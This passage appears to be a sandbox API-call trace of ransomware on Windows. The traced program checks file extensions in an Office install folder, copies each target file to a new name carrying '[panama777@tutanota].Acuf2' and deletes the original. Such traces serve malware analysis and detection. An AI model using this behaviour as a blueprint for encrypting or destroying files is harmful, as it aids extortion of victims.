	[0261.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63
	[0261.197] lstrlenW (lpString=".dbf") returned 4
	[0261.197] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0261.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63
	[0261.197] lstrlenW (lpString=".1cd") returned 4
	[0261.197] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0261.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK") returned 63
	[0261.197] lstrlenW (lpString=".jpg") returned 4
	[0261.197] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0261.197] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0261.197] lstrlenW (lpString="EXPTOOWS.DLL") returned 12
	[0261.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0261.368] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=12160) returned 1
	[0261.368] CloseHandle (hObject=0x360) returned 1
	[0261.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll")) returned 0x20
	[0261.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0261.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60
	[0261.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60
	[0261.400] lstrlenW (lpString=".doc") returned 4
	[0261.400] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0261.400] lstrlenW (lpString=".docx") returned 5
	[0261.400] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1
	[0261.400] lstrlenW (lpString=".pdf") returned 4
	[0261.400] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0261.400] lstrlenW (lpString=".xls") returned 4
	[0261.400] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0261.400] lstrlenW (lpString=".xlsx") returned 5
	[0261.400] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1
	[0261.400] lstrlenW (lpString=".ppt") returned 4
	[0261.400] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0261.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60
	[0261.400] lstrlenW (lpString=".zip") returned 4
	[0261.409] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0261.409] lstrlenW (lpString=".rar") returned 4
	[0261.409] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0261.409] lstrlenW (lpString=".bz2") returned 4
	[0261.409] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0261.409] lstrlenW (lpString=".7z") returned 3
	[0261.409] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0261.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60
	[0261.409] lstrlenW (lpString=".dbf") returned 4
	[0261.409] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0261.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60
	[0261.409] lstrlenW (lpString=".1cd") returned 4
	[0261.409] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0261.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60
	[0261.426] lstrlenW (lpString=".jpg") returned 4
	[0261.426] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0261.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60
	[0261.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60
	[0261.426] lstrlenW (lpString=".doc") returned 4
	[0261.426] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0261.426] lstrlenW (lpString=".docx") returned 5
	[0261.426] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1
	[0261.427] lstrlenW (lpString=".pdf") returned 4
	[0261.427] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0261.427] lstrlenW (lpString=".xls") returned 4
	[0261.427] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0261.427] lstrlenW (lpString=".xlsx") returned 5
	[0261.427] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1
	[0261.427] lstrlenW (lpString=".ppt") returned 4
	[0261.427] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0261.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60
	[0261.427] lstrlenW (lpString=".zip") returned 4
	[0261.427] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0261.427] lstrlenW (lpString=".rar") returned 4
	[0261.427] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0261.427] lstrlenW (lpString=".bz2") returned 4
	[0261.427] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0261.427] lstrlenW (lpString=".7z") returned 3
	[0261.427] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0261.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60
	[0261.427] lstrlenW (lpString=".dbf") returned 4
	[0261.427] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0261.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60
	[0261.427] lstrlenW (lpString=".1cd") returned 4
	[0261.427] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0261.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60
	[0261.427] lstrlenW (lpString=".jpg") returned 4
	[0261.427] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0261.427] lstrcmpiW (lpString1=".GRA", lpString2=".Acuf2") returned 1
	[0261.428] lstrlenW (lpString="GR8GALRY.GRA") returned 12
	[0261.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.428] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=186880) returned 1
	[0261.428] CloseHandle (hObject=0x334) returned 1
	[0261.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra")) returned 0x20
	[0261.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.428] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.428] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0261.429] GetLastError () returned 0x0
	[0261.429] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x2da00, lpOverlapped=0x0) returned 1
	[0261.460] WriteFile (in: hFile=0x218, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x2da10, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x2da10, lpOverlapped=0x0) returned 1
	[0261.464] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.464] WriteFile (in: hFile=0x218, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.464] SetEndOfFile (hFile=0x218) returned 1
	[0261.464] CloseHandle (hObject=0x218) returned 1
	[0261.464] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.464] SetEndOfFile (hFile=0x334) returned 1
	[0261.468] CloseHandle (hObject=0x334) returned 1
	[0261.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.469] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra")) returned 1
	[0261.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60
	[0261.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60
	[0261.469] lstrlenW (lpString=".doc") returned 4
	[0261.469] lstrcmpiW (lpString1=".doc", lpString2=".GRA") returned -1
	[0261.469] lstrlenW (lpString=".docx") returned 5
	[0261.469] lstrcmpiW (lpString1=".docx", lpString2="Y.GRA") returned -1
	[0261.469] lstrlenW (lpString=".pdf") returned 4
	[0261.469] lstrcmpiW (lpString1=".pdf", lpString2=".GRA") returned 1
	[0261.469] lstrlenW (lpString=".xls") returned 4
	[0261.469] lstrcmpiW (lpString1=".xls", lpString2=".GRA") returned 1
	[0261.469] lstrlenW (lpString=".xlsx") returned 5
	[0261.469] lstrcmpiW (lpString1=".xlsx", lpString2="Y.GRA") returned -1
	[0261.469] lstrlenW (lpString=".ppt") returned 4
	[0261.469] lstrcmpiW (lpString1=".ppt", lpString2=".GRA") returned 1
	[0261.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60
	[0261.469] lstrlenW (lpString=".zip") returned 4
	[0261.469] lstrcmpiW (lpString1=".zip", lpString2=".GRA") returned 1
	[0261.469] lstrlenW (lpString=".rar") returned 4
	[0261.470] lstrcmpiW (lpString1=".rar", lpString2=".GRA") returned 1
	[0261.470] lstrlenW (lpString=".bz2") returned 4
	[0261.470] lstrcmpiW (lpString1=".bz2", lpString2=".GRA") returned -1
	[0261.470] lstrlenW (lpString=".7z") returned 3
	[0261.470] lstrcmpiW (lpString1=".7z", lpString2="GRA") returned -1
	[0261.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60
	[0261.470] lstrlenW (lpString=".dbf") returned 4
	[0261.470] lstrcmpiW (lpString1=".dbf", lpString2=".GRA") returned -1
	[0261.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60
	[0261.470] lstrlenW (lpString=".1cd") returned 4
	[0261.470] lstrcmpiW (lpString1=".1cd", lpString2=".GRA") returned -1
	[0261.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60
	[0261.470] lstrlenW (lpString=".jpg") returned 4
	[0261.470] lstrcmpiW (lpString1=".jpg", lpString2=".GRA") returned 1
	[0261.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60
	[0261.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60
	[0261.470] lstrlenW (lpString=".doc") returned 4
	[0261.470] lstrcmpiW (lpString1=".doc", lpString2=".GRA") returned -1
	[0261.470] lstrlenW (lpString=".docx") returned 5
	[0261.470] lstrcmpiW (lpString1=".docx", lpString2="Y.GRA") returned -1
	[0261.470] lstrlenW (lpString=".pdf") returned 4
	[0261.470] lstrcmpiW (lpString1=".pdf", lpString2=".GRA") returned 1
	[0261.470] lstrlenW (lpString=".xls") returned 4
	[0261.470] lstrcmpiW (lpString1=".xls", lpString2=".GRA") returned 1
	[0261.470] lstrlenW (lpString=".xlsx") returned 5
	[0261.470] lstrcmpiW (lpString1=".xlsx", lpString2="Y.GRA") returned -1
	[0261.470] lstrlenW (lpString=".ppt") returned 4
	[0261.470] lstrcmpiW (lpString1=".ppt", lpString2=".GRA") returned 1
	[0261.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60
	[0261.470] lstrlenW (lpString=".zip") returned 4
	[0261.470] lstrcmpiW (lpString1=".zip", lpString2=".GRA") returned 1
	[0261.470] lstrlenW (lpString=".rar") returned 4
	[0261.470] lstrcmpiW (lpString1=".rar", lpString2=".GRA") returned 1
	[0261.471] lstrlenW (lpString=".bz2") returned 4
	[0261.471] lstrcmpiW (lpString1=".bz2", lpString2=".GRA") returned -1
	[0261.471] lstrlenW (lpString=".7z") returned 3
	[0261.471] lstrcmpiW (lpString1=".7z", lpString2="GRA") returned -1
	[0261.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60
	[0261.471] lstrlenW (lpString=".dbf") returned 4
	[0261.471] lstrcmpiW (lpString1=".dbf", lpString2=".GRA") returned -1
	[0261.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60
	[0261.471] lstrlenW (lpString=".1cd") returned 4
	[0261.471] lstrcmpiW (lpString1=".1cd", lpString2=".GRA") returned -1
	[0261.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA") returned 60
	[0261.471] lstrlenW (lpString=".jpg") returned 4
	[0261.471] lstrcmpiW (lpString1=".jpg", lpString2=".GRA") returned 1
	[0261.471] lstrcmpiW (lpString1=".HXS", lpString2=".Acuf2") returned 1
	[0261.471] lstrlenW (lpString="GRAPH.HXS") returned 9
	[0261.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.471] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=610086) returned 1
	[0261.471] CloseHandle (hObject=0x334) returned 1
	[0261.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs")) returned 0x20
	[0261.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.472] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.472] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.635] GetLastError () returned 0x0
	[0261.635] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x94f26, lpOverlapped=0x0) returned 1
	[0261.649] WriteFile (in: hFile=0x330, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x94f30, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x94f30, lpOverlapped=0x0) returned 1
	[0261.659] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.659] WriteFile (in: hFile=0x330, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0261.659] SetEndOfFile (hFile=0x330) returned 1
	[0261.659] CloseHandle (hObject=0x330) returned 1
	[0261.659] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.659] SetEndOfFile (hFile=0x334) returned 1
	[0261.673] CloseHandle (hObject=0x334) returned 1
	[0261.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs")) returned 1
	[0261.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57
	[0261.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57
	[0261.674] lstrlenW (lpString=".doc") returned 4
	[0261.674] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0261.674] lstrlenW (lpString=".docx") returned 5
	[0261.674] lstrcmpiW (lpString1=".docx", lpString2="H.HXS") returned -1
	[0261.674] lstrlenW (lpString=".pdf") returned 4
	[0261.674] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0261.674] lstrlenW (lpString=".xls") returned 4
	[0261.674] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0261.674] lstrlenW (lpString=".xlsx") returned 5
	[0261.674] lstrcmpiW (lpString1=".xlsx", lpString2="H.HXS") returned -1
	[0261.674] lstrlenW (lpString=".ppt") returned 4
	[0261.674] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0261.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57
	[0261.674] lstrlenW (lpString=".zip") returned 4
	[0261.674] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0261.674] lstrlenW (lpString=".rar") returned 4
	[0261.674] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0261.674] lstrlenW (lpString=".bz2") returned 4
	[0261.674] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0261.674] lstrlenW (lpString=".7z") returned 3
	[0261.674] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0261.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57
	[0261.674] lstrlenW (lpString=".dbf") returned 4
	[0261.674] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0261.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57
	[0261.674] lstrlenW (lpString=".1cd") returned 4
	[0261.675] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0261.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57
	[0261.675] lstrlenW (lpString=".jpg") returned 4
	[0261.675] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0261.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57
	[0261.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57
	[0261.675] lstrlenW (lpString=".doc") returned 4
	[0261.675] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0261.675] lstrlenW (lpString=".docx") returned 5
	[0261.675] lstrcmpiW (lpString1=".docx", lpString2="H.HXS") returned -1
	[0261.675] lstrlenW (lpString=".pdf") returned 4
	[0261.675] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0261.675] lstrlenW (lpString=".xls") returned 4
	[0261.675] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0261.675] lstrlenW (lpString=".xlsx") returned 5
	[0261.675] lstrcmpiW (lpString1=".xlsx", lpString2="H.HXS") returned -1
	[0261.675] lstrlenW (lpString=".ppt") returned 4
	[0261.675] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0261.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57
	[0261.675] lstrlenW (lpString=".zip") returned 4
	[0261.675] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0261.675] lstrlenW (lpString=".rar") returned 4
	[0261.675] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0261.675] lstrlenW (lpString=".bz2") returned 4
	[0261.675] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0261.675] lstrlenW (lpString=".7z") returned 3
	[0261.675] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0261.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57
	[0261.675] lstrlenW (lpString=".dbf") returned 4
	[0261.675] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0261.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57
	[0261.675] lstrlenW (lpString=".1cd") returned 4
	[0261.675] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0261.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57
	[0261.676] lstrlenW (lpString=".jpg") returned 4
	[0261.676] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0261.676] lstrcmpiW (lpString1=".HXC", lpString2=".Acuf2") returned 1
	[0261.676] lstrlenW (lpString="GRAPH_COL.HXC") returned 13
	[0261.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.677] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=621) returned 1
	[0261.677] CloseHandle (hObject=0x334) returned 1
	[0261.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc")) returned 0x20
	[0261.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.677] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.677] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.678] GetLastError () returned 0x0
	[0261.678] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x26d, lpOverlapped=0x0) returned 1
	[0261.687] WriteFile (in: hFile=0x330, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x270, lpOverlapped=0x0) returned 1
